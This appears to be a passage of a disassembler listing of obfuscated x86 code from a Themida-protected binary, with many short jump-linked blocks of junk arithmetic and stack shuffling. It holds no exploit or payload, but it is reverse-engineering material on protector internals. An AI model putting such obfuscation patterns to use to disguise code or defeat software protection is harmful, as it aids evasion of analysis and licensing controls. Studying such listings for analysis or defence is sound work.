		add	ebp, edx
		pop	edx
		push	ebx
		push	eax
		jmp	loc_5A564F
; ---------------------------------------------------------------------------


loc_5965EF:				; CODE XREF: Themida_:00593855j
		neg	ebx
		xor	ebx, 0B171380h
		jmp	loc_5A255D
; ---------------------------------------------------------------------------


loc_5965FC:				; CODE XREF: Themida_:00591F24j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_5A29E6
; ---------------------------------------------------------------------------


loc_59660B:				; CODE XREF: Themida_:0059A16Fj
		add	esp, 4
		add	[esp+4], eax
		push	dword ptr [esp]
		pop	eax
		jmp	loc_5A2089
; ---------------------------------------------------------------------------


loc_59661B:				; CODE XREF: Themida_:0059995Dj
		mov	edx, [esp]
		push	edi
		jmp	loc_5933C4
; ---------------------------------------------------------------------------


loc_596624:				; CODE XREF: Themida_:0059B0FBj
		add	edx, 5B291A9Eh
		add	edx, ebx
		push	ecx
		mov	ecx, 5B291A9Eh
		jmp	loc_591F55
; ---------------------------------------------------------------------------


loc_596637:				; CODE XREF: Themida_:0059EE7Bj
		and	[edi+1Ch], edx
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, esp
		push	eax
		mov	eax, 3A237E26h
		jmp	loc_59EDF2
; ---------------------------------------------------------------------------


loc_596651:				; CODE XREF: Themida_:00590585j
		shr	dl, 8
		jmp	loc_59AB5F
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		jmp	loc_5A0F8F
; ---------------------------------------------------------------------------


loc_596668:				; CODE XREF: Themida_:00594783j
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		push	ecx
		mov	ecx, 4
		add	eax, ecx
		jmp	loc_5A2FBC
; ---------------------------------------------------------------------------


loc_59667D:				; CODE XREF: Themida_:0059EA79j
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	eax
		mov	eax, esp
		jmp	loc_593736
; ---------------------------------------------------------------------------


loc_59668F:				; CODE XREF: Themida_:0059ADEAj
		and	esi, 2FD83BCCh
		jmp	loc_5A25B9
; ---------------------------------------------------------------------------


loc_59669A:				; CODE XREF: Themida_:00594BDCj
		mov	ecx, 6D640C33h
		mov	esi, 996B609Ah
		add	esi, ecx
		pop	ecx
		xor	esi, 51772540h
		or	esi, 61F049CCh
		push	eax
		mov	eax, 2696F466h
		sub	esi, eax
		pop	eax
		mov	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		push	eax
		mov	eax, esp
		jmp	loc_590791
; ---------------------------------------------------------------------------


loc_5966CC:				; CODE XREF: Themida_:00595058j
		sub	edx, 613F528Eh
		add	edx, 673857E4h
		sub	edx, 4CDF7C3Dh
		add	edx, eax
		add	edx, 4CDF7C3Dh
		sub	edx, 673857E4h
		jmp	loc_596169
; ---------------------------------------------------------------------------


loc_5966F1:				; CODE XREF: Themida_:005A0AF2j
		add	edx, 18341A89h
		mov	eax, edx
		pop	edx
		inc	eax
		jmp	loc_59460E
; ---------------------------------------------------------------------------


loc_596700:				; CODE XREF: Themida_:00598E79j
		push	ecx
		jmp	loc_5A2B74
; ---------------------------------------------------------------------------


loc_596706:				; CODE XREF: Themida_:0059A536j
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_59F6C5
; ---------------------------------------------------------------------------


loc_596717:				; CODE XREF: Themida_:00597735j
		push	edx
		mov	edx, 75CC11D5h
		push	edx
		not	dword ptr [esp]
		pop	edx
		jmp	loc_59BC24
; ---------------------------------------------------------------------------


loc_596727:				; CODE XREF: Themida_:00597655j
		mov	[esp], bx
		jmp	loc_5973D7
; ---------------------------------------------------------------------------


loc_596730:				; CODE XREF: Themida_:00596C9Aj
		mov	[esp], esi
		mov	esi, 49564922h
		sub	edi, 51D502Dh
		add	edi, esi
		jmp	loc_5941EA
; ---------------------------------------------------------------------------


loc_596745:				; CODE XREF: Themida_:0059C107j
		pop	esp
		xor	ebp, 6F8607AFh
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 43CFD7D5h
		jmp	loc_59E6F0
; ---------------------------------------------------------------------------


loc_596765:				; CODE XREF: Themida_:005A480Aj
		dec	ecx
		push	eax
		mov	eax, 0A0579BDFh
		add	ecx, eax
		pop	eax
		add	eax, ecx
		pop	ecx
		xchg	eax, [esp]
		mov	esp, [esp]
		shl	word ptr [esp],	cl
		pushf
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_596782:				; CODE XREF: Themida_:0059F878j
		push	ebp
		jmp	loc_5A41A1
; ---------------------------------------------------------------------------


loc_596788:				; CODE XREF: Themida_:005A2A80j
		mov	[esp], ebx
		jmp	loc_593BDE
; ---------------------------------------------------------------------------


loc_596790:				; CODE XREF: Themida_:0059E72Dj
		pop	esp
		jmp	loc_599DD9
; ---------------------------------------------------------------------------


loc_596796:				; CODE XREF: Themida_:00590796j
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_596922
; ---------------------------------------------------------------------------


loc_5967A4:				; CODE XREF: Themida_:0059118Bj
		mov	bp, di
		mov	dx, bp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_59F4E2
; ---------------------------------------------------------------------------


loc_5967B8:				; CODE XREF: Themida_:0059DAFEj
		sub	ecx, edi
		sub	ecx, 531217FAh
		jmp	loc_592698
; ---------------------------------------------------------------------------


loc_5967C5:				; CODE XREF: Themida_:005942E1j
		sub	edx, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		mov	eax, [esp]
		jmp	loc_5A2219
; ---------------------------------------------------------------------------


loc_5967D6:				; CODE XREF: Themida_:00599DF8j
		pop	esi
		jmp	loc_599344
; ---------------------------------------------------------------------------


loc_5967DC:				; CODE XREF: Themida_:00593E88j
		xchg	ebx, [esp]
		jmp	loc_59B67F
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	ecx
		push	1900h
		jmp	loc_594B44
; ---------------------------------------------------------------------------


loc_5967F2:				; CODE XREF: Themida_:005934A9j
		push	ecx
		mov	ecx, 5E2A60F0h
		neg	ecx
		inc	ecx
		add	ecx, 1
		jmp	loc_59314A
; ---------------------------------------------------------------------------


loc_596806:				; CODE XREF: Themida_:0059C66Aj
		mov	edi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_59BD97
; ---------------------------------------------------------------------------


loc_596817:				; CODE XREF: Themida_:0059AF3Ej
		add	esp, 4
		push	ecx
		mov	ecx, 63140ECAh
		not	ecx
		add	ecx, 46634058h
		sub	edx, ecx
		jmp	loc_59BA16
; ---------------------------------------------------------------------------


loc_59682F:				; CODE XREF: Themida_:00595503j
		sub	dword ptr [esp+8], 581C7BBBh
		jmp	loc_593285
; ---------------------------------------------------------------------------


loc_59683C:				; CODE XREF: Themida_:005988A8j
		push	ax
		jmp	loc_59D6A2
; ---------------------------------------------------------------------------


loc_596843:				; CODE XREF: Themida_:005A4687j
		sub	ecx, 54E451C6h
		add	ecx, ebp
		add	ecx, 54E451C6h
		push	ebp
		jmp	loc_59A55A
; ---------------------------------------------------------------------------


loc_596857:				; CODE XREF: Themida_:00599DE6j
		mov	ebp, ebx
		pop	ebx
		push	edx
		mov	edx, 5B1A007Ch
		add	ebp, edx
		jmp	loc_59541D
; ---------------------------------------------------------------------------


loc_596867:				; CODE XREF: Themida_:005A2DCCj
		xor	edx, 6FC87C69h
		or	edx, 45F36C24h
		xor	edx, 717622C4h
		mov	ecx, 66F0910h
		add	ecx, edx
		pop	edx
		add	esi, ecx
		pop	ecx
		jmp	loc_596E46
; ---------------------------------------------------------------------------


loc_596889:				; CODE XREF: Themida_:005A08CDj
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_59564C
; ---------------------------------------------------------------------------


loc_59689D:				; CODE XREF: Themida_:00593ADAj
		not	ch
		xchg	ch, dl
		push	36E6h
		mov	[esp], ebx
		mov	bl, 0E8h
		dec	bl
		xor	bl, 77h
		jmp	loc_59AAD0
; ---------------------------------------------------------------------------


loc_5968B5:				; CODE XREF: Themida_:0059C88Dj
		sub	edx, 1
		dec	edx
		add	edx, 0DF2C3CCBh
		xor	ebx, edx
		pop	edx
		jmp	loc_5A12A8
; ---------------------------------------------------------------------------


loc_5968C7:				; CODE XREF: Themida_:00591C8Fj
		and	eax, esi
		jmp	loc_5A31E8
; ---------------------------------------------------------------------------


loc_5968CE:				; CODE XREF: Themida_:00590E59j
		shr	esi, 6
		shl	esi, 4
		add	esi, 3B076E99h
		sub	ebx, esi
		pop	esi
		xor	eax, ebx
		pop	ebx
		push	602Dh
		mov	[esp], ecx
		jmp	loc_591A70
; ---------------------------------------------------------------------------


loc_5968ED:				; CODE XREF: Themida_:00591BFBj
		add	[esp], al
		pushf
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_5968F6:				; CODE XREF: Themida_:005974B0j
		shr	edi, 3
		neg	edi
		jmp	loc_590D70
; ---------------------------------------------------------------------------


loc_596900:				; CODE XREF: Themida_:00590DCAj
		dec	eax
		not	eax
		push	ebp
		mov	ebp, 7E787FC9h
		add	eax, 150E3102h
		jmp	loc_59A97C
; ---------------------------------------------------------------------------


loc_596913:				; CODE XREF: Themida_:00591F57j
		pop	ecx
		pop	ebx
		jmp	loc_599B01
; ---------------------------------------------------------------------------


loc_59691A:				; CODE XREF: Themida_:00594EFDj
		push	esi
		mov	esi, esp
		jmp	loc_590670
; ---------------------------------------------------------------------------


loc_596922:				; CODE XREF: Themida_:0059679Fj
		mov	[esp], ebx
		push	ebp
		jmp	loc_592987
; ---------------------------------------------------------------------------


loc_59692B:				; CODE XREF: Themida_:0059817Dj
		xor	al, dl
		jmp	loc_5A108B
; ---------------------------------------------------------------------------


loc_596932:				; CODE XREF: Themida_:005A0C61j
		add	ebp, 77D10D1Dh
		mov	esi, [esp]
		add	esp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_5A0160
; ---------------------------------------------------------------------------


loc_596949:				; CODE XREF: Themida_:005945F8j
		pop	esp
		mov	[esp], esi
		pop	edi
		pop	esi
		push	ebx
		mov	ebx, 1EC02E4Fh
		and	edi, ebx
		pop	ebx
		push	ebp
		push	edx
		mov	edx, 62AE7F48h
		neg	edx
		inc	edx
		or	edx, 299416D1h
		xor	edx, 0EDB7BA1Dh
		mov	ebp, edx
		pop	edx
		inc	ebp
		sub	ebp, 649C7C57h
		sub	edi, ebp
		pop	ebp
		jmp	loc_5A3C89
; ---------------------------------------------------------------------------
		pop	small word ptr [edx]
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_596988:				; CODE XREF: Themida_:0059F4F3j
		push	eax
		mov	eax, esp
		jmp	loc_592096
; ---------------------------------------------------------------------------


loc_596990:				; CODE XREF: Themida_:005920B0j
		add	esp, 4
		add	ebp, 4
		jmp	loc_59293A
; ---------------------------------------------------------------------------


loc_59699E:				; CODE XREF: Themida_:0059523Fj
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		or	edx, eax
		jmp	loc_5944C6
; ---------------------------------------------------------------------------


loc_5969B4:				; CODE XREF: Themida_:005A1752j
		shr	eax, 0Eh
		xor	eax, ecx
		xor	eax, esi
		xor	esi, eax
		xor	eax, esi
		push	esi
		push	ecx
		pop	esi
		jmp	loc_59878B
; ---------------------------------------------------------------------------


loc_5969C7:				; CODE XREF: Themida_:00590D2Ej
		sub	bx, ax
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		add	bx, bp
		add	bx, 0E74h
		jmp	loc_5A2398
; ---------------------------------------------------------------------------


loc_5969EA:				; CODE XREF: Themida_:00598E1Bj
		push	ebx
		jmp	loc_598AC5
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	15D4h
		mov	[esp], ecx
		push	esp
		jmp	loc_597F4B
; ---------------------------------------------------------------------------


loc_596A02:				; CODE XREF: Themida_:005972DFj
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, 4
		add	[esp+4], edi
		jmp	loc_59C1B9
; ---------------------------------------------------------------------------


loc_596A2B:				; CODE XREF: Themida_:00590434j
		neg	ebp
		sub	ebp, 0B9F0F188h
		xor	ecx, ebp
		jmp	loc_5932F6
; ---------------------------------------------------------------------------


loc_596A3A:				; CODE XREF: Themida_:00594796j
		and	al, cl
		mov	cx, [esp]
		push	2D49h
		mov	[esp], ebx
		jmp	loc_59F957
; ---------------------------------------------------------------------------


loc_596A4D:				; CODE XREF: Themida_:0059DE1Cj
		inc	edi
		not	edi
		sub	edi, 0ACC6A5FEh
		push	ecx
		jmp	loc_5A3C9D
; ---------------------------------------------------------------------------


loc_596A5C:				; CODE XREF: Themida_:005A0468j
		dec	edx
		sub	edx, 0D7E6F905h
		sub	ebx, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		mov	dx, [esp]
		jmp	loc_59A631
; ---------------------------------------------------------------------------


loc_596A78:				; CODE XREF: Themida_:005A3F3Fj
		sub	ebx, 32F2552Dh
		sub	ebx, 19867055h
		sub	ebx, 2AA4659Dh
		xor	esi, ebx
		jmp	loc_5A276B
; ---------------------------------------------------------------------------


loc_596A91:				; CODE XREF: Themida_:00591BC8j
		add	esp, 4
		pop	eax
		xor	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	874h
		mov	[esp], ebp
		push	1869h
		mov	[esp], ebx
		pop	ebp
		mov	[edi+24h], ebp
		pop	ebp
		push	dword ptr [esp]
		jmp	loc_595E8B
; ---------------------------------------------------------------------------


loc_596ABD:				; CODE XREF: Themida_:005995BAj
		sub	eax, edx
		pop	edx
		xchg	eax, [esp]
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_5A131B
; ---------------------------------------------------------------------------


loc_596AEB:				; CODE XREF: Themida_:0059C8A3j
		sub	eax, edx
		push	dword ptr [esp]
		pop	edx
		push	edx
		push	esp
		jmp	loc_59A716
; ---------------------------------------------------------------------------


loc_596AF8:				; CODE XREF: Themida_:005A1F42j
		add	esp, 4
		jmp	loc_5A4CCE
; ---------------------------------------------------------------------------


loc_596B03:				; CODE XREF: Themida_:005A448Cj
		pop	esi
		jmp	loc_59B7B0
; ---------------------------------------------------------------------------


loc_596B09:				; CODE XREF: Themida_:0059C8D1j
		push	dword ptr [esp]
		jmp	loc_59B718
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	5519h
		mov	[esp], edi
		push	esp
		pop	edi
		push	edx
		mov	edx, 4
		add	edi, edx
		pop	edx
		push	1288h
		mov	[esp], esi
		jmp	loc_59D4CD
; ---------------------------------------------------------------------------


loc_596B35:				; CODE XREF: Themida_:005958A7j
		mov	al, 0B5h
		add	bl, al
		pop	ax
		pop	edx
		add	bl, 8Bh
		sub	bl, al
		sub	bl, 8Bh
		push	4EADh
		mov	[esp], edx
		mov	dl, 40h
		add	bl, dl
		jmp	loc_59A2CC
; ---------------------------------------------------------------------------


loc_596B55:				; CODE XREF: Themida_:005A42F0j
		mov	[esp], edi
		push	39F82DA1h
		mov	edi, [esp]
		add	esp, 4
		and	edi, 2E195628h
		jmp	loc_5A4884
; ---------------------------------------------------------------------------


loc_596B6E:				; CODE XREF: Themida_:0059D325j
		mov	eax, [esp]
		add	esp, 4
		pop	edi
		shl	ebx, 1
		jmp	loc_5A1676
; ---------------------------------------------------------------------------


loc_596B7C:				; CODE XREF: Themida_:005928C8j
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	ebx
		mov	ebx, 4
		add	edx, ebx
		mov	ebx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		sub	esp, 4
		mov	[esp], ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		push	4C04h
		mov	[esp], ebp
		mov	ebp, esp
		push	eax
		jmp	loc_59C8E4
; ---------------------------------------------------------------------------


loc_596BC6:				; CODE XREF: Themida_:0059B05Aj
		add	esi, ecx
		sub	esi, 3D481C33h
		jmp	loc_5953C2
; ---------------------------------------------------------------------------


loc_596BD3:				; CODE XREF: Themida_:005A28FDj
		add	esi, 508F5A55h
		jmp	loc_59DAB0
; ---------------------------------------------------------------------------


loc_596BDE:				; CODE XREF: Themida_:0059CCC2j
		pop	edx
		add	edi, ebx
		pop	ebx
		jmp	loc_5A1919
; ---------------------------------------------------------------------------


loc_596BE7:				; CODE XREF: Themida_:00599196j
		push	eax
		mov	al, 94h
		not	al
		add	al, 5Fh
		xor	al, 0F4h
		mov	bl, al
		mov	eax, [esp]
		add	esp, 4
		shl	bl, 1
		sub	bl, 68h
		mov	dl, bl
		pop	ebx
		push	ebx
		mov	bl, 3Bh
		jmp	loc_59DA4C
; ---------------------------------------------------------------------------


loc_596C08:				; CODE XREF: Themida_:00593706j
		push	ecx
		push	49C23535h
		pop	ecx
		mov	esi, ecx
		pop	ecx
		or	esi, 2EDB69BBh
		push	eax
		jmp	loc_59CE65
; ---------------------------------------------------------------------------


loc_596C1E:				; CODE XREF: Themida_:00593C98j
		pop	esi
		jmp	loc_5A1807
; ---------------------------------------------------------------------------


loc_596C24:				; CODE XREF: Themida_:0059A7B5j
		pop	ecx
		or	edx, 6E5D56E7h
		sub	edx, 674347DCh
		xor	edx, 600A78AAh
		xor	ebx, edx
		pop	edx
		push	0
		sub	[esp], ebx
		jmp	loc_59D506
; ---------------------------------------------------------------------------


loc_596C47:				; CODE XREF: Themida_:0059F036j
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_596FF4
; ---------------------------------------------------------------------------


loc_596C52:				; CODE XREF: Themida_:00596F0Aj
		add	[esp+4], edx
		mov	edx, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_59E29A
; ---------------------------------------------------------------------------


loc_596C61:				; CODE XREF: Themida_:00597934j
		mov	ebx, [esp]
		push	21F3h
		mov	[esp], ebx
		mov	ebx, esp
		jmp	loc_596FA1
; ---------------------------------------------------------------------------


loc_596C73:				; CODE XREF: Themida_:0059EC3Cj
		push	3BF1h
		mov	[esp], ebx
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		push	edx
		jmp	loc_598B00
; ---------------------------------------------------------------------------


loc_596C88:				; CODE XREF: Themida_:00598D43j
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_596730
; ---------------------------------------------------------------------------


loc_596C9F:				; CODE XREF: Themida_:00594BC6j
		pop	ebp
		shr	ebp, 1
		jmp	loc_595CBB
; ---------------------------------------------------------------------------


loc_596CA7:				; CODE XREF: Themida_:005A2FD5j
		push	ebx
		mov	ebx, esp
		push	eax
		jmp	loc_59D96F
; ---------------------------------------------------------------------------


loc_596CB0:				; CODE XREF: Themida_:0059ACF2j
		add	esi, 8481BDCh
		mov	ebx, 264D452Ah
		push	esi
		push	edi
		mov	edi, 3DC455E1h
		dec	edi
		jmp	loc_599895
; ---------------------------------------------------------------------------


loc_596CC8:				; CODE XREF: Themida_:00599DC1j
		push	ebx
		jmp	loc_591B38
; ---------------------------------------------------------------------------


loc_596CCE:				; CODE XREF: Themida_:005A1D4Bj
		pop	ecx
		add	ecx, 4
		jmp	loc_5A362F
; ---------------------------------------------------------------------------


loc_596CDA:				; CODE XREF: Themida_:005945C6j
		pop	esp
		mov	[esp], esp
		jmp	loc_5A51A5
; ---------------------------------------------------------------------------


loc_596CE3:				; CODE XREF: Themida_:00598B64j
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_596CE8:				; CODE XREF: Themida_:005A3430j
		mov	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		or	[edi+1Ch], ebp
		mov	ebp, [esp]
		push	ecx
		jmp	loc_5961B8
; ---------------------------------------------------------------------------


loc_596CFC:				; CODE XREF: Themida_:0059B12Cj
		add	ebp, 400613Bh
		sub	ebp, 1B688761h
		jmp	loc_5A42C8
; ---------------------------------------------------------------------------


loc_596D0D:				; CODE XREF: Themida_:005A0AA0j
		pop	esi
		sub	edx, 4
		jmp	loc_592D01
; ---------------------------------------------------------------------------


loc_596D19:				; CODE XREF: Themida_:00591947j
		add	edi, eax
		pop	eax
		add	edi, 93B5D9Fh
		xor	edi, 97B0E4D1h
		add	ebp, edi
		mov	edi, [esp]
		jmp	loc_59E9AE
; ---------------------------------------------------------------------------


loc_596D32:				; CODE XREF: Themida_:00590CA2j
		push	dword ptr [esp]
		pop	eax
		push	2584h
		mov	[esp], ebp
		push	esp
		pop	ebp
		push	ebx
		mov	ebx, 4EAB1E6Ch
		sub	esp, 4
		mov	[esp], edi
		push	edx
		mov	edx, 66AA51ACh
		mov	edi, edx
		jmp	loc_59FF88
; ---------------------------------------------------------------------------


loc_596D59:				; CODE XREF: Themida_:0059E15Fj
		add	edx, 4
		push	ebx
		mov	ebx, 4
		add	edx, 536A031Ch
		sub	edx, ebx
		jmp	loc_5A1972
; ---------------------------------------------------------------------------


loc_596D72:				; CODE XREF: Themida_:0059A511j
		mov	ebp, 3A43339h
		add	eax, ebp
		pop	ebp
		add	eax, edx
		push	ecx
		mov	ecx, 3A43339h
		sub	eax, ecx
		pop	ecx
		pop	edx
		push	ecx
		mov	ecx, 66743D9Eh
		and	ecx, 5C4D33BAh
		jmp	loc_59D5A3
; ---------------------------------------------------------------------------


loc_596D97:				; CODE XREF: Themida_:00591AA8j
		xor	ecx, 25032EFEh
		jmp	loc_59D7A2
; ---------------------------------------------------------------------------


loc_596DA2:				; CODE XREF: Themida_:0059DCB4j
		push	edx
		mov	edx, 69C071D7h
		shl	edx, 1
		jmp	loc_595B54
; ---------------------------------------------------------------------------


loc_596DAF:				; CODE XREF: Themida_:0059F92Dj
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		btc	[esp], ax
		pushf
		jmp	loc_5996BA
; ---------------------------------------------------------------------------


loc_596DC3:				; CODE XREF: Themida_:005998F9j
		pop	ebx
		push	ebp
		jmp	loc_59AFBC
; ---------------------------------------------------------------------------


loc_596DCA:				; CODE XREF: Themida_:005956A3j
		mov	[esp], ebp
		mov	ebp, 37B43932h
		push	447h
		mov	[esp], edx
		mov	edx, 28F817D5h
		add	ebx, edx
		pop	edx
		sub	ebx, ebp
		sub	ebx, 28F817D5h
		jmp	loc_595E39
; ---------------------------------------------------------------------------


loc_596DEF:				; CODE XREF: Themida_:005944C1j
		add	edi, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	ebp
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_59BC42
; ---------------------------------------------------------------------------


loc_596E07:				; CODE XREF: Themida_:00597BC7j
		dec	ebp
		xor	ebp, 36B124BBh
		jmp	loc_5920D1
; ---------------------------------------------------------------------------


loc_596E13:				; CODE XREF: Themida_:0059E4BDj
		add	esi, 10C420ABh
		dec	esi
		xor	esi, 77BCC7A6h
		add	edx, esi
		pop	esi
		jmp	loc_5996BF
; ---------------------------------------------------------------------------


loc_596E28:				; CODE XREF: Themida_:0059B5ADj
		xor	esi, 41C2C82Dh
		jmp	loc_59F512
; ---------------------------------------------------------------------------


loc_596E33:				; CODE XREF: Themida_:0059F81Fj
		mov	ebx, 4
		sub	eax, ebx
		pop	ebx
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		jmp	loc_59C2D6
; ---------------------------------------------------------------------------


loc_596E46:				; CODE XREF: Themida_:00596884j
		add	esi, ebx
		push	edi
		jmp	loc_595B19
; ---------------------------------------------------------------------------


loc_596E4E:				; CODE XREF: Themida_:00590E40j
		pop	edi
		sub	ecx, 2135950h
		sub	ecx, 6F5539EDh
		add	ecx, ebp
		add	ecx, 6F5539EDh
		jmp	loc_59EB46
; ---------------------------------------------------------------------------


loc_596E68:				; CODE XREF: Themida_:005911ADj
		sub	ecx, edx
		add	ecx, 5D6355E5h
		mov	edx, [esp]
		jmp	loc_5A28C7
; ---------------------------------------------------------------------------


loc_596E78:				; CODE XREF: Themida_:005A5139j
		mov	ecx, esp
		jmp	loc_598531
; ---------------------------------------------------------------------------


loc_596E7F:				; CODE XREF: Themida_:0059412Aj
		pop	ebx
		sub	esp, 4
		jmp	loc_5A0491
; ---------------------------------------------------------------------------


loc_596E8B:				; CODE XREF: Themida_:005A0C15j
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 1095690h
		jmp	loc_59D0A4
; ---------------------------------------------------------------------------


loc_596E9E:				; CODE XREF: Themida_:00593525j
		push	4FC7h
		jmp	loc_59A5A8
; ---------------------------------------------------------------------------


loc_596EA8:				; CODE XREF: Themida_:00594F70j
		xchg	ebx, [esp]
		pop	esp
		sub	edi, 4FDD2562h
		not	edi
		add	edi, 1
		jmp	loc_5975CA
; ---------------------------------------------------------------------------


loc_596EBC:				; CODE XREF: Themida_:0059DE37j
		xchg	edx, [esp]
		jmp	loc_591D18
; ---------------------------------------------------------------------------


loc_596EC4:				; CODE XREF: Themida_:00590EAFj
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_5A02DA
; ---------------------------------------------------------------------------


loc_596EDB:				; CODE XREF: Themida_:0059D7F6j
		push	ecx
		mov	ecx, 143B2B7Fh
		neg	ecx
		shr	ecx, 4
		xor	ecx, 6F2D75E4h
		jmp	loc_59F8DB
; ---------------------------------------------------------------------------


loc_596EF1:				; CODE XREF: Themida_:0059486Aj
		shr	edi, 3
		add	edi, 56FD63F2h
		not	edi
		not	edi
		push	ecx
		jmp	loc_594B00
; ---------------------------------------------------------------------------


loc_596F04:				; CODE XREF: Themida_:0059BBC0j
		push	edx
		mov	edx, 4
		jmp	loc_596C52
; ---------------------------------------------------------------------------


loc_596F0F:				; CODE XREF: Themida_:0059CC47j
		add	esp, 4
		push	647Dh
		jmp	loc_5A1AD1
; ---------------------------------------------------------------------------


loc_596F1C:				; CODE XREF: Themida_:00592F96j
		add	esp, 4
		jmp	loc_59346C
; ---------------------------------------------------------------------------


loc_596F27:				; CODE XREF: Themida_:0059E28Aj
		add	esi, edx
		jmp	loc_5A5522
; ---------------------------------------------------------------------------


loc_596F2E:				; CODE XREF: Themida_:005A12F6j
		add	edx, 2
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_59D842
; ---------------------------------------------------------------------------


loc_596F3C:				; CODE XREF: Themida_:0059D198j
		pop	dword ptr [esp]
		jmp	loc_5A46AE
; ---------------------------------------------------------------------------


loc_596F44:				; CODE XREF: Themida_:0059CEF1j
		add	esp, 4
		add	eax, edx
		pop	edx
		push	1793h
		mov	[esp], ecx
		push	edi
		push	153C630Bh
		mov	edi, [esp]
		jmp	loc_5960FB
; ---------------------------------------------------------------------------


loc_596F60:				; CODE XREF: Themida_:005A08BFj
		not	edx
		sub	edx, 640E8970h
		jmp	loc_599CF4
; ---------------------------------------------------------------------------


loc_596F6D:				; CODE XREF: Themida_:0059E793j
		push	ebp
		jmp	loc_596252
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	3229h
		jmp	loc_59EE80
; ---------------------------------------------------------------------------


loc_596F87:				; CODE XREF: Themida_:00597D03j
		sub	esi, 0BB6068EBh
		sub	eax, esi
		pop	esi
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ecx
		push	ebx
		mov	bl, al
		push	eax
		push	ecx
		jmp	loc_5A46CB
; ---------------------------------------------------------------------------


loc_596FA1:				; CODE XREF: Themida_:00596C6Ej
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		xor	bl, al
		movzx	eax, al
		pop	dword ptr [edi+eax*4]
		jmp	loc_5A156F
; ---------------------------------------------------------------------------


loc_596FBB:				; CODE XREF: Themida_:00593B0Dj
		add	esp, 4
		jmp	loc_59FA46
; ---------------------------------------------------------------------------


loc_596FC3:				; CODE XREF: Themida_:0059411Fj
		pop	dword ptr [esp]
		push	edx
		mov	edx, 4
		push	eax
		mov	eax, esp
		push	ebx
		mov	ebx, 4
		jmp	loc_59FAD8
; ---------------------------------------------------------------------------


loc_596FDA:				; CODE XREF: Themida_:005A3439j
		xchg	dl, cl
		jmp	loc_59D9B1
; ---------------------------------------------------------------------------


loc_596FE1:				; CODE XREF: Themida_:0059CCFAj
		and	ecx, 729C276Fh
		add	ecx, 5624E3B5h
		sub	edi, ecx
		jmp	loc_5A33E9
; ---------------------------------------------------------------------------


loc_596FF4:				; CODE XREF: Themida_:00596C4Dj
		push	eax
		push	3024h
		mov	[esp], ecx
		mov	ecx, 3A115C63h
		push	esi
		mov	esi, 52CC40E5h
		neg	esi
		not	esi
		dec	esi
		neg	esi
		jmp	loc_59061E
; ---------------------------------------------------------------------------


loc_597014:				; CODE XREF: Themida_:005916E0j
		add	ebx, edx
		pop	edx
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_597020:				; CODE XREF: Themida_:00597EBCj
		push	edi
		mov	edi, 652A2CA8h
		mov	esi, edi
		pop	edi
		push	ebx
		jmp	loc_591C00
; ---------------------------------------------------------------------------


loc_59702F:				; CODE XREF: Themida_:00592717j
		sub	eax, 5E475687h
		pop	edi
		add	eax, 2
		jmp	loc_591BE9
; ---------------------------------------------------------------------------


